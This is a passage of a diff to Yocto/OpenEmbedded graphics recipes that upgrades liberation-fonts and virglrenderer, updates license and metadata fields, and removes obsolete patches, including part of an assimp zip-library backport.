--- a/meta/recipes-graphics/startup-notification/startup-notification_0.12.bb
+++ b/meta/recipes-graphics/startup-notification/startup-notification_0.12.bb
@@ -1,16 +1,18 @@
SUMMARY = "Enables monitoring and display of application startup"
+DESCRIPTION = "Contains a reference implementation of the startup notification protocol. \
+The reference implementation is mostly under an X Window System style license, and has \
+no special dependencies. "
HOMEPAGE = "http://www.freedesktop.org/wiki/Software/startup-notification/"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=Specifications"
+BUGTRACKER = "https://gitlab.freedesktop.org/xdg/startup-notification/-/issues"
# most files are under MIT, but libsn/sn-util.c is under LGPL, the
# effective license is LGPL
-LICENSE = "LGPLv2+"
+LICENSE = "LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=a2ae2cd47d6d2f238410f5364dfbc0f2 \
file://libsn/sn-util.c;endline=18;md5=18a14dc1825d38e741d772311fea9ee1 \
file://libsn/sn-common.h;endline=23;md5=6d05bc0ebdcf5513a6e77cb26e8cd7e2 \
file://test/test-boilerplate.h;endline=23;md5=923e706b2a70586176eead261cc5bb98"
-PR = "r2"
SECTION = "libs"
diff --git a/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.00.1.bb b/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.00.1.bb
deleted file mode 100644
index f5df9efa3b..0000000000
--- a/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.00.1.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "Liberation(tm) Fonts"
-DESCRIPTION = "The Liberation(tm) Fonts is a font family originally \
-created by Ascender(c) which aims at metric compatibility with \
-Arial, Times New Roman, Courier New."
-HOMEPAGE = "https://releases.pagure.org/liberation-fonts/"
-BUGTRACKER = "https://bugzilla.redhat.com/"
-
-SECTION = "x11/fonts"
-LICENSE = "OFL-1.1"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=f96db970a9a46c5369142b99f530366b"
-PE = "1"
-
-inherit allarch fontcache
-
-FONT_PACKAGES = "${PN}"
-
-SRC_URI = "https://releases.pagure.org/liberation-fonts/liberation-fonts-ttf-${PV}.tar.gz \
- file://30-liberation-aliases.conf"
-
-S = "${WORKDIR}/liberation-fonts-ttf-${PV}"
-
-SRC_URI[md5sum] = "5c781723a0d9ed6188960defba8e91cf"
-SRC_URI[sha256sum] = "7890278a6cd17873c57d9cd785c2d230d9abdea837e96516019c5885dd271504"
-
-do_install () {
- install -d ${D}${datadir}/fonts/ttf/
- for i in *.ttf; do
- install -m 0644 $i ${D}${prefix}/share/fonts/ttf/${i}
- done
-
- install -d ${D}${sysconfdir}/fonts/conf.d/
- install -m 0644 ${WORKDIR}/30-liberation-aliases.conf ${D}${sysconfdir}/fonts/conf.d/
-
- install -d ${D}${prefix}/share/doc/${BPN}/
- install -m 0644 LICENSE ${D}${datadir}/doc/${BPN}/
-}
-
-PACKAGES = "${PN}"
-FILES_${PN} += "${sysconfdir} ${datadir}"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.1.5.bb b/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.1.5.bb
new file mode 100644
index 0000000000..b7fdc0d399
--- /dev/null
+++ b/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.1.5.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Liberation(tm) Fonts"
+DESCRIPTION = "The Liberation(tm) Fonts is a font family originally \
+created by Ascender(c) which aims at metric compatibility with \
+Arial, Times New Roman, Courier New."
+HOMEPAGE = "https://github.com/liberationfonts/liberation-fonts"
+BUGTRACKER = "https://bugzilla.redhat.com/"
+
+SECTION = "x11/fonts"
+LICENSE = "OFL-1.1"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=f96db970a9a46c5369142b99f530366b"
+PE = "1"
+
+SRC_URI = "https://github.com/liberationfonts/liberation-fonts/files/7261482/liberation-fonts-ttf-${PV}.tar.gz \
+ file://30-liberation-aliases.conf"
+SRC_URI[sha256sum] = "7191c669bf38899f73a2094ed00f7b800553364f90e2637010a69c0e268f25d0"
+GITHUB_BASE_URI = "https://github.com/liberationfonts/liberation-fonts/releases"
+
+S = "${WORKDIR}/liberation-fonts-ttf-${PV}"
+
+inherit allarch fontcache github-releases
+
+do_install () {
+ install -d ${D}${datadir}/fonts/ttf/
+ for i in *.ttf; do
+ install -m 0644 $i ${D}${prefix}/share/fonts/ttf/${i}
+ done
+
+ install -d ${D}${sysconfdir}/fonts/conf.d/
+ install -m 0644 ${WORKDIR}/30-liberation-aliases.conf ${D}${sysconfdir}/fonts/conf.d/
+
+ install -d ${D}${prefix}/share/doc/${BPN}/
+ install -m 0644 LICENSE ${D}${datadir}/doc/${BPN}/
+}
+
+PACKAGES = "${PN}"
+FILES:${PN} += "${sysconfdir} ${datadir}"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb b/meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb
index 3e1ba196b5..0fc075a468 100644
--- a/meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb
+++ b/meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb
@@ -1,4 +1,5 @@
SUMMARY = "The Bitstream Vera fonts - TTF Edition"
+HOMEPAGE = "https://www.gnome.org/fonts/"
DESCRIPTION = "The Bitstream Vera fonts include four monospace and sans \
faces (normal, oblique, bold, bold oblique) and two serif faces (normal \
and bold). In addition Fontconfig/Xft2 can artificially oblique the \
@@ -7,7 +8,6 @@ but is visibly different than normal and bold, and reasonably pleasing."
SECTION = "x11/fonts"
LICENSE = "BitstreamVera"
LIC_FILES_CHKSUM = "file://COPYRIGHT.TXT;md5=27d7484b1e18d0ee4ce538644a3f04be"
-PR = "r7"
inherit allarch fontcache
@@ -29,4 +29,4 @@ do_install () {
done
}
-FILES_${PN} = "${datadir}/fonts"
+FILES:${PN} = "${datadir}/fonts"
diff --git a/meta/recipes-graphics/virglrenderer/virglrenderer/0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch b/meta/recipes-graphics/virglrenderer/virglrenderer/0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch
deleted file mode 100644
index a0ac3aefdd..0000000000
--- a/meta/recipes-graphics/virglrenderer/virglrenderer/0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 3d30df8d8ccb919733b5339b2a82474305b83998 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 6 Aug 2019 01:19:48 +0000
-Subject: [PATCH] gallium: Expand libc check to be platform OS check
-
-endianness on musl based systems can also be detected in same way as
-glibc, therefore check for __linux__ define instead of __GLIBC__
-
-Fixes build on musl/mips
-
-| ../../../../git/src/gallium/include/pipe/p_config.h:171:2: error: #error Unknown Endianness
-| #error Unknown Endianness
-| ^~~~~
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/gallium/include/pipe/p_config.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/gallium/include/pipe/p_config.h b/src/gallium/include/pipe/p_config.h
-index d603681..71cdf49 100644
---- a/src/gallium/include/pipe/p_config.h
-+++ b/src/gallium/include/pipe/p_config.h
-@@ -130,7 +130,7 @@
- * Endian detection.
- */
-
--#ifdef __GLIBC__
-+#ifdef __linux__
- #include <endian.h>
-
- #if __BYTE_ORDER == __LITTLE_ENDIAN
---
-2.17.1
-
diff --git a/meta/recipes-graphics/virglrenderer/virglrenderer/0001-meson.build-use-python3-directly-for-python.patch b/meta/recipes-graphics/virglrenderer/virglrenderer/0001-meson.build-use-python3-directly-for-python.patch
index 0fd1d511d6..3e12495970 100644
--- a/meta/recipes-graphics/virglrenderer/virglrenderer/0001-meson.build-use-python3-directly-for-python.patch
+++ b/meta/recipes-graphics/virglrenderer/virglrenderer/0001-meson.build-use-python3-directly-for-python.patch
@@ -1,4 +1,4 @@
-From 63788c63ed39a3ce9994f4315d8997e1a9300d4d Mon Sep 17 00:00:00 2001
+From dec8cca59124d7f8796b54902482ceb295a71b51 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 6 Jan 2020 12:44:42 +0100
Subject: [PATCH] meson.build: use 'python3' directly for python
@@ -8,20 +8,21 @@ its configuration).
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
meson.build | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/meson.build b/meson.build
-index 682d7c8..19d2eae 100644
+index 9f91ff2f..2391f89d 100644
--- a/meson.build
+++ b/meson.build
-@@ -60,7 +60,7 @@ foreach w : warnings
- endif
- endforeach
+@@ -74,7 +74,7 @@ flags = [
+
+ add_project_arguments(cc.get_supported_arguments(flags), language : 'c')
-prog_python = import('python').find_installation('python3')
+prog_python = 'python3'
- libdrm_dep = dependency('libdrm', version : '>=2.4.50')
- thread_dep = dependency('threads')
+ not_found = dependency('', required: false)
+ libdrm_dep = dependency('libdrm', version : '>=2.4.50', required: get_option('drm').enabled() or get_option('venus'))
diff --git a/meta/recipes-graphics/virglrenderer/virglrenderer_0.8.2.bb b/meta/recipes-graphics/virglrenderer/virglrenderer_0.8.2.bb
deleted file mode 100644
index 29b12628d0..0000000000
--- a/meta/recipes-graphics/virglrenderer/virglrenderer_0.8.2.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "VirGL virtual OpenGL renderer"
-DESCRIPTION = "Virgil is a research project to investigate the possibility of \
-creating a virtual 3D GPU for use inside qemu virtual machines, that allows \
-the guest operating system to use the capabilities of the host GPU to \
-accelerate 3D rendering."
-HOMEPAGE = "https://virgil3d.github.io/"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c81c08eeefd9418fca8f88309a76db10"
-
-DEPENDS = "libdrm mesa libepoxy"
-SRCREV = "7d204f3927be65fb3365dce01dbcd04d447a4985"
-SRC_URI = "git://anongit.freedesktop.org/virglrenderer \
- file://0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch \
- file://0001-meson.build-use-python3-directly-for-python.patch \
- "
-
-S = "${WORKDIR}/git"
-
-inherit meson pkgconfig features_check
-
-BBCLASSEXTEND = "native nativesdk"
-
-REQUIRED_DISTRO_FEATURES = "opengl"
diff --git a/meta/recipes-graphics/virglrenderer/virglrenderer_1.0.1.bb b/meta/recipes-graphics/virglrenderer/virglrenderer_1.0.1.bb
new file mode 100644
index 0000000000..0501b0c59c
--- /dev/null
+++ b/meta/recipes-graphics/virglrenderer/virglrenderer_1.0.1.bb
@@ -0,0 +1,33 @@
+SUMMARY = "VirGL virtual OpenGL renderer"
+DESCRIPTION = "Virgil is a research project to investigate the possibility of \
+creating a virtual 3D GPU for use inside qemu virtual machines, that allows \
+the guest operating system to use the capabilities of the host GPU to \
+accelerate 3D rendering."
+HOMEPAGE = "https://virgil3d.github.io/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c81c08eeefd9418fca8f88309a76db10"
+
+DEPENDS = "libdrm libepoxy virtual/egl virtual/libgbm"
+SRCREV = "690680e5f0f952e22424fca1538c1b24457a0868"
+SRC_URI = "git://gitlab.freedesktop.org/virgl/virglrenderer.git;branch=main;protocol=https \
+ file://0001-meson.build-use-python3-directly-for-python.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig features_check
+
+PACKAGECONFIG ?= "${@bb.utils.contains('DISTRO_FEATURES', 'vulkan', 'venus', '', d)}"
+
+PACKAGECONFIG[venus] = "-Dvenus=true,-Dvenus=false,vulkan-loader vulkan-headers"
+PACKAGECONFIG[va] = "-Dvideo=true,-Dvideo=false,libva"
+PACKAGECONFIG[render-server] = "-Drender-server=true,-Drender-server=false"
+PACKAGECONFIG[drm-msm-experimental] = "-Ddrm-msm-experimental=true,-Ddrm-msm-experimental=false"
+PACKAGECONFIG[minigbm_allocation] = "-Dminigbm_allocation=true,-Dminigbm_allocation=false"
+PACKAGECONFIG[venus-validate] = "-Dvenus-validate=true,-Dvenus-validate=false"
+PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false,libcheck"
+
+BBCLASSEXTEND = "native nativesdk"
+
+REQUIRED_DISTRO_FEATURES = "opengl"
diff --git a/meta/recipes-graphics/vulkan/assimp/0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch b/meta/recipes-graphics/vulkan/assimp/0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch
deleted file mode 100644
index 34c5bfa857..0000000000
--- a/meta/recipes-graphics/vulkan/assimp/0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 58f576d6f240b08957a402960cdf06c74201ac7b Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Thu, 12 Dec 2019 22:16:15 -0800
-Subject: [PATCH] Use ASSIMP_LIB_INSTALL_DIR to search library
-
-Use ASSIMP_LIB_INSTALL_DIR rather than hardcoded /lib to search library
-
-Upstream-Status: Inappropriate [oe specific]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- assimpTargets-release.cmake.in | 16 ++++++++--------
- 1 file changed, 8 insertions(+), 8 deletions(-)
-
-diff --git a/assimpTargets-release.cmake.in b/assimpTargets-release.cmake.in
-index f3db8f1..b8a066a 100644
---- a/assimpTargets-release.cmake.in
-+++ b/assimpTargets-release.cmake.in
-@@ -42,11 +42,11 @@ if(MSVC)
- # Import target "assimp::assimp" for configuration "Release"
- set_property(TARGET assimp::assimp APPEND PROPERTY IMPORTED_CONFIGURATIONS RELEASE)
- set_target_properties(assimp::assimp PROPERTIES
-- IMPORTED_IMPLIB_RELEASE "${_IMPORT_PREFIX}/lib/${importLibraryName}"
-+ IMPORTED_IMPLIB_RELEASE "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${importLibraryName}"
- IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/bin/${sharedLibraryName}"
- )
- list(APPEND _IMPORT_CHECK_TARGETS assimp::assimp )
-- list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/lib/${importLibraryName}")
-+ list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${importLibraryName}")
- list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/bin/${sharedLibraryName}" )
- else()
- set(staticLibraryName "assimp${ASSIMP_LIBRARY_SUFFIX}@CMAKE_STATIC_LIBRARY_SUFFIX@")
-@@ -54,10 +54,10 @@ if(MSVC)
- # Import target "assimp::assimp" for configuration "Release"
- set_property(TARGET assimp::assimp APPEND PROPERTY IMPORTED_CONFIGURATIONS RELEASE)
- set_target_properties(assimp::assimp PROPERTIES
-- IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/lib/${staticLibraryName}"
-+ IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${staticLibraryName}"
- )
- list(APPEND _IMPORT_CHECK_TARGETS assimp::assimp )
-- list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/lib/${staticLibraryName}")
-+ list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${staticLibraryName}")
- endif()
-
- else()
-@@ -70,17 +70,17 @@ else()
- endif()
- set_target_properties(assimp::assimp PROPERTIES
- IMPORTED_SONAME_RELEASE "${sharedLibraryName}"
-- IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/lib/${sharedLibraryName}"
-+ IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${sharedLibraryName}"
- )
- list(APPEND _IMPORT_CHECK_TARGETS assimp::assimp )
-- list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/lib/${sharedLibraryName}" )
-+ list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${sharedLibraryName}" )
- else()
- set(staticLibraryName "libassimp${ASSIMP_LIBRARY_SUFFIX}@CMAKE_STATIC_LIBRARY_SUFFIX@")
- set_target_properties(assimp::assimp PROPERTIES
-- IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/lib/${staticLibraryName}"
-+ IMPORTED_LOCATION_RELEASE "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${staticLibraryName}"
- )
- list(APPEND _IMPORT_CHECK_TARGETS assimp::assimp )
-- list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/lib/${staticLibraryName}" )
-+ list(APPEND _IMPORT_CHECK_FILES_FOR_assimp::assimp "${_IMPORT_PREFIX}/@ASSIMP_LIB_INSTALL_DIR@/${staticLibraryName}" )
- endif()
- endif()
-
diff --git a/meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch b/meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch
deleted file mode 100644
index 87a1658710..0000000000
--- a/meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch
+++ /dev/null
@@ -1,1664 +0,0 @@
-From 7fc220b2350d78942fb3935cad0b1564418ebe8f Mon Sep 17 00:00:00 2001
-From: Kim Kulling <kim.kulling@googlemail.com>
-Date: Tue, 19 Nov 2019 20:30:40 +0100
-Subject: [PATCH] closes https://github.com/assimp/assimp/issues/2733: update
- of zlip to fix gcc build for v9.2.0 32 bit
-
-Upstream-Status: Backport [https://github.com/assimp/assimp/commit/f78446b14aff46db2ef27d062a275b6a01fd68b1]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- contrib/zip/.gitignore | 2 +
- contrib/zip/CMakeLists.txt | 83 +++++-
- contrib/zip/README.md | 12 +-
- contrib/zip/appveyor.yml | 2 +-
- contrib/zip/src/miniz.h | 457 ++++++++++++++++++++++++++++----
- contrib/zip/src/zip.c | 62 +++--
- contrib/zip/src/zip.h | 457 ++++++++++++++++----------------
- contrib/zip/test/CMakeLists.txt | 27 +-
- contrib/zip/test/test.c | 38 ++-
- contrib/zip/test/test_miniz.c | 25 +-
- 10 files changed, 821 insertions(+), 344 deletions(-)
-
-diff --git a/contrib/zip/.gitignore b/contrib/zip/.gitignore
-index a7904a1e..49b2cb2f 100644
---- a/contrib/zip/.gitignore
-+++ b/contrib/zip/.gitignore
-@@ -1,6 +1,7 @@
- /build/
- /test/build/
- /xcodeproj/
-+.vscode/
-
- # Object files
- *.o
-@@ -54,3 +55,4 @@ zip.dir/
- test/test.exe.vcxproj.filters
- test/test.exe.vcxproj
- test/test.exe.dir/
-+
-diff --git a/contrib/zip/CMakeLists.txt b/contrib/zip/CMakeLists.txt
-index b46dbb1d..77916d2e 100644
---- a/contrib/zip/CMakeLists.txt
-+++ b/contrib/zip/CMakeLists.txt
-@@ -1,10 +1,14 @@
--cmake_minimum_required(VERSION 2.8)
--project(zip)
--enable_language(C)
-+cmake_minimum_required(VERSION 3.0)
-+
-+project(zip
-+ LANGUAGES C
-+ VERSION "0.1.15")
- set(CMAKE_MODULE_PATH "${PROJECT_SOURCE_DIR}/cmake" ${CMAKE_MODULE_PATH})
-
-+option(CMAKE_DISABLE_TESTING "Disable test creation" OFF)
-+
- if (MSVC)
-- # Use secure functions by defaualt and suppress warnings about "deprecated" functions
-+ # Use secure functions by default and suppress warnings about "deprecated" functions
- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /D _CRT_SECURE_CPP_OVERLOAD_STANDARD_NAMES=1")
- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /D _CRT_SECURE_CPP_OVERLOAD_STANDARD_NAMES_COUNT=1")
- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /D _CRT_NONSTDC_NO_WARNINGS=1 /D _CRT_SECURE_NO_WARNINGS=1")
-@@ -12,28 +16,80 @@ elseif ("${CMAKE_C_COMPILER_ID}" STREQUAL "GNU" OR
- "${CMAKE_C_COMPILER_ID}" STREQUAL "Clang" OR
- "${CMAKE_C_COMPILER_ID}" STREQUAL "AppleClang")
- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -std=c99 -Wall -Wextra -Werror -pedantic")
-+ if(ENABLE_COVERAGE)
-+ set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g -O0 -fprofile-arcs -ftest-coverage")
-+ set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} --coverage")
-+ endif()
- endif (MSVC)
-
- # zip
- set(SRC src/miniz.h src/zip.h src/zip.c)
- add_library(${PROJECT_NAME} ${SRC})
--target_include_directories(${PROJECT_NAME} INTERFACE src)
-+target_include_directories(${PROJECT_NAME} PUBLIC
-+ $<BUILD_INTERFACE:${CMAKE_CURRENT_SOURCE_DIR}/src>
-+ $<INSTALL_INTERFACE:include>
-+)
-
- # test
- if (NOT CMAKE_DISABLE_TESTING)
- enable_testing()
- add_subdirectory(test)
- find_package(Sanitizers)
-- add_sanitizers(${PROJECT_NAME} test.exe)
-- add_sanitizers(${PROJECT_NAME} test_miniz.exe)
-+ add_sanitizers(${PROJECT_NAME} ${test_out} ${test_miniz_out})
- endif()
-
-+####
-+# Installation (https://github.com/forexample/package-example) {
-+
-+set(CONFIG_INSTALL_DIR "lib/cmake/${PROJECT_NAME}")
-+set(INCLUDE_INSTALL_DIR "include")
-+
-+set(GENERATED_DIR "${CMAKE_CURRENT_BINARY_DIR}/generated")
-+
-+# Configuration
-+set(VERSION_CONFIG "${GENERATED_DIR}/${PROJECT_NAME}ConfigVersion.cmake")
-+set(PROJECT_CONFIG "${GENERATED_DIR}/${PROJECT_NAME}Config.cmake")
-+set(TARGETS_EXPORT_NAME "${PROJECT_NAME}Targets")
-+set(NAMESPACE "${PROJECT_NAME}::")
-+
-+# Include module with fuction 'write_basic_package_version_file'
-+include(CMakePackageConfigHelpers)
-+
-+# Note: PROJECT_VERSION is used as a VERSION
-+write_basic_package_version_file(
-+ "${VERSION_CONFIG}" COMPATIBILITY SameMajorVersion
-+)
-+
-+# Use variables:
-+# * TARGETS_EXPORT_NAME
-+# * PROJECT_NAME
-+configure_package_config_file(
-+ "cmake/Config.cmake.in"
-+ "${PROJECT_CONFIG}"
-+ INSTALL_DESTINATION "${CONFIG_INSTALL_DIR}"
-+)
-+
-+install(
-+ FILES "${PROJECT_CONFIG}" "${VERSION_CONFIG}"
-+ DESTINATION "${CONFIG_INSTALL_DIR}"
-+)
-+
-+install(
-+ EXPORT "${TARGETS_EXPORT_NAME}"
-+ NAMESPACE "${NAMESPACE}"
-+ DESTINATION "${CONFIG_INSTALL_DIR}"
-+)
-+
-+# }
-+
- install(TARGETS ${PROJECT_NAME}
-+ EXPORT ${TARGETS_EXPORT_NAME}
- RUNTIME DESTINATION bin
- ARCHIVE DESTINATION lib
- LIBRARY DESTINATION lib
-- COMPONENT library)
--install(FILES ${PROJECT_SOURCE_DIR}/src/zip.h DESTINATION include)
-+ INCLUDES DESTINATION ${INCLUDE_INSTALL_DIR}
-+)
-+install(FILES ${PROJECT_SOURCE_DIR}/src/zip.h DESTINATION ${INCLUDE_INSTALL_DIR}/zip)
-
- # uninstall target (https://gitlab.kitware.com/cmake/community/wikis/FAQ#can-i-do-make-uninstall-with-cmake)
- if(NOT TARGET uninstall)
-@@ -45,3 +101,12 @@ if(NOT TARGET uninstall)
- add_custom_target(uninstall
- COMMAND ${CMAKE_COMMAND} -P ${CMAKE_CURRENT_BINARY_DIR}/cmake/cmake_uninstall.cmake)
- endif()
-+
-+find_package(Doxygen)
-+if(DOXYGEN_FOUND)
-+ configure_file(${CMAKE_CURRENT_SOURCE_DIR}/Doxyfile.in ${CMAKE_CURRENT_BINARY_DIR}/Doxyfile @ONLY)
-+ add_custom_target(doc
-+ ${DOXYGEN_EXECUTABLE} ${CMAKE_CURRENT_BINARY_DIR}/Doxyfile
-+ WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}
-+ COMMENT "Generating API documentation with Doxygen" VERBATIM)
-+endif()
-diff --git a/contrib/zip/README.md b/contrib/zip/README.md
-index d5fb8cd2..14eb9a34 100644
---- a/contrib/zip/README.md
-+++ b/contrib/zip/README.md
-@@ -71,7 +71,7 @@ int arg = 2;
- zip_extract("foo.zip", "/tmp", on_extract_entry, &arg);
- ```
-
--* Extract a zip entry into memory.
-+* Extract a zip entry into memory.
- ```c
- void *buf = NULL;
- size_t bufsize;
-@@ -89,7 +89,7 @@ zip_close(zip);
- free(buf);
- ```
-
--* Extract a zip entry into memory (no internal allocation).
-+* Extract a zip entry into memory (no internal allocation).
- ```c
- unsigned char *buf;
- size_t bufsize;
-@@ -110,7 +110,7 @@ zip_close(zip);
- free(buf);
- ```
-
--* Extract a zip entry into memory using callback.
-+* Extract a zip entry into memory using callback.
- ```c
- struct buffer_t {
- char *data;
-@@ -144,7 +144,7 @@ free(buf.data);
- ```
-
-
--* Extract a zip entry into a file.
-+* Extract a zip entry into a file.
- ```c
- struct zip_t *zip = zip_open("foo.zip", 0, 'r');
- {
-@@ -157,7 +157,7 @@ struct zip_t *zip = zip_open("foo.zip", 0, 'r');
- zip_close(zip);
- ```
-
--* List of all zip entries
-+* List of all zip entries
- ```c
- struct zip_t *zip = zip_open("foo.zip", 0, 'r');
- int i, n = zip_total_entries(zip);
-@@ -174,7 +174,7 @@ for (i = 0; i < n; ++i) {
- zip_close(zip);
- ```
-
--## Bindings
-+# Bindings
- Compile zip library as a dynamic library.
- ```shell
- $ mkdir build
-diff --git a/contrib/zip/appveyor.yml b/contrib/zip/appveyor.yml
-index 0be6373c..ea17f5de 100644
---- a/contrib/zip/appveyor.yml
-+++ b/contrib/zip/appveyor.yml
-@@ -1,4 +1,4 @@
--version: zip-0.1.9.{build}
-+version: zip-0.1.15.{build}
- build_script:
- - cmd: >-
- cd c:\projects\zip
-diff --git a/contrib/zip/src/miniz.h b/contrib/zip/src/miniz.h
-index 2c27a94d..c4fcfb83 100644
---- a/contrib/zip/src/miniz.h
-+++ b/contrib/zip/src/miniz.h
-@@ -221,6 +221,7 @@
- #ifndef MINIZ_HEADER_INCLUDED
- #define MINIZ_HEADER_INCLUDED
-
-+#include <stdint.h>
- #include <stdlib.h>
-
- // Defines to completely disable specific portions of miniz.c:
-@@ -284,7 +285,8 @@
- /* Set MINIZ_USE_UNALIGNED_LOADS_AND_STORES only if not set */
- #if !defined(MINIZ_USE_UNALIGNED_LOADS_AND_STORES)
- #if MINIZ_X86_OR_X64_CPU
--/* Set MINIZ_USE_UNALIGNED_LOADS_AND_STORES to 1 on CPU's that permit efficient integer loads and stores from unaligned addresses. */
-+/* Set MINIZ_USE_UNALIGNED_LOADS_AND_STORES to 1 on CPU's that permit efficient
-+ * integer loads and stores from unaligned addresses. */
- #define MINIZ_USE_UNALIGNED_LOADS_AND_STORES 1
- #define MINIZ_UNALIGNED_USE_MEMCPY
- #else
-@@ -354,6 +356,44 @@ enum {
- MZ_FIXED = 4
- };
-
-+/* miniz error codes. Be sure to update mz_zip_get_error_string() if you add or
-+ * modify this enum. */
-+typedef enum {
-+ MZ_ZIP_NO_ERROR = 0,
-+ MZ_ZIP_UNDEFINED_ERROR,
-+ MZ_ZIP_TOO_MANY_FILES,
-+ MZ_ZIP_FILE_TOO_LARGE,
-+ MZ_ZIP_UNSUPPORTED_METHOD,
-+ MZ_ZIP_UNSUPPORTED_ENCRYPTION,
-+ MZ_ZIP_UNSUPPORTED_FEATURE,
-+ MZ_ZIP_FAILED_FINDING_CENTRAL_DIR,
-+ MZ_ZIP_NOT_AN_ARCHIVE,
-+ MZ_ZIP_INVALID_HEADER_OR_CORRUPTED,
-+ MZ_ZIP_UNSUPPORTED_MULTIDISK,
-+ MZ_ZIP_DECOMPRESSION_FAILED,
-+ MZ_ZIP_COMPRESSION_FAILED,
-+ MZ_ZIP_UNEXPECTED_DECOMPRESSED_SIZE,
-+ MZ_ZIP_CRC_CHECK_FAILED,
-+ MZ_ZIP_UNSUPPORTED_CDIR_SIZE,
-+ MZ_ZIP_ALLOC_FAILED,
-+ MZ_ZIP_FILE_OPEN_FAILED,
-+ MZ_ZIP_FILE_CREATE_FAILED,
-+ MZ_ZIP_FILE_WRITE_FAILED,
-+ MZ_ZIP_FILE_READ_FAILED,
-+ MZ_ZIP_FILE_CLOSE_FAILED,
-+ MZ_ZIP_FILE_SEEK_FAILED,
-+ MZ_ZIP_FILE_STAT_FAILED,
-+ MZ_ZIP_INVALID_PARAMETER,
-+ MZ_ZIP_INVALID_FILENAME,
-+ MZ_ZIP_BUF_TOO_SMALL,
-+ MZ_ZIP_INTERNAL_ERROR,
-+ MZ_ZIP_FILE_NOT_FOUND,
-+ MZ_ZIP_ARCHIVE_TOO_LARGE,
-+ MZ_ZIP_VALIDATION_FAILED,
-+ MZ_ZIP_WRITE_CALLBACK_FAILED,
-+ MZ_ZIP_TOTAL_ERRORS
-+} mz_zip_error;
-+
- // Method
- #define MZ_DEFLATED 8
-
